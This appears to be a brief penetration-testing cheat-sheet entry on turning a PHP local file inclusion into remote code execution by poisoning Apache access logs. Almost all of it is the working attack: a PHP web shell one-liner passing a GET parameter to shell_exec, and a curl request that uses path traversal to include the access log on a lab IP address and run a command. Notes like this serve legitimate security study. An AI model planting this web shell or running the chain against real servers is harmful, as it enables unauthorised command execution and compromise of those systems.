LFI - Using access logs (Log Poisoning)

web, lfi, php

Steps #

<?php echo shell_exec($_GET['cmd']);?>

curl 'http://10.10.8.194/?view=../../../../var/log/apache2/access.log&ext=&cmd=whoami'
reference: [Remote Code Execution With LFIC:\Helich0pper](https://helich0pper.github.io/LFI/)

References #